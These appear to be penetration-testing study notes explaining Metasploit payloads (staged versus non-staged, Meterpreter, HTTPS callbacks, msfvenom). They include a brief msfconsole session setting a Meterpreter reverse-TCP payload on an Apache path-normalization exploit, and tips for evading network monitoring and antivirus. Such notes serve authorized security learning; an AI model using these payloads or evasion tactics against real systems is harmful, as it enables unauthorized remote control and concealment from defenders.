Payloads

Staged vs Non-Staged

  • Non-Staged Payload: Sends the full exploit and shellcode together; more stable but larger in size. E.g. payload/linux/x64/shell_reverse_tcp.

  • Staged Payload: A two-step process. A small stager is first delivered, which then connects to the attacker's machine to fetch the rest of the payload. They have a / in the payload name, e.g. shell/reverse_tcp.

Staged payloads are useful when space is limited or for evading detection but creates extra network traffic. First, a small initial program (the stager) runs on the target machine. Its job is to reach back to your attacker machine and download the malicious part of the payload (the stage) over the network which is then retrieved and injected directly into the victim machine's memory.

Meterpreter

Meterpreter is a powerful, flexible payload that runs entirely in memory, leaving fewer traces and offering encrypted communication, file transfers, and system management tools. It enables advanced post-exploitation actions.

# Set Meterpreter payload
msf6 exploit(multi/http/apache_normalize_path_rce) > set payload 13
payload => linux/x64/meterpreter_reverse_tcp

# Run exploit
msf6 exploit(multi/http/apache_normalize_path_rce) > run

# Example Meterpreter commands
meterpreter > sysinfo
meterpreter > getuid

Commands with the l prefix operate locally, i.e., on our attacker machine.

Channels

Meterpreter allows the creation of multiple command shells (channels).

HTTPS

HTTPS Meterpreter payloads use encrypted web traffic for communication. When the infected target connects back to the attacker's machine, it does so over HTTPS, making the traffic look like regular web activity. Security tools monitoring the network only see harmless-looking encrypted requests, not the actual malicious instructions inside. If a defender inspects the callback URL directly in a browser, they’ll just see a generic 404 error, not the payload or its commands. However, Meterpreter is well-known and can be detected by antivirus systems. A common strategy is to use a simple shell to gain initial access, then deploy Meterpreter after evading detection.

msfvenom

msfvenom is used to generate payloads in various formats. These payloads initiate a reverse connection to the attacker's machine, allowing remote control.

Staged payloads need a Metasploit handler (multi/handler) since tools like nc cannot handle them.

nc will be to catch them, but we won't be able to send any commands through them.

Last updated

Was this helpful?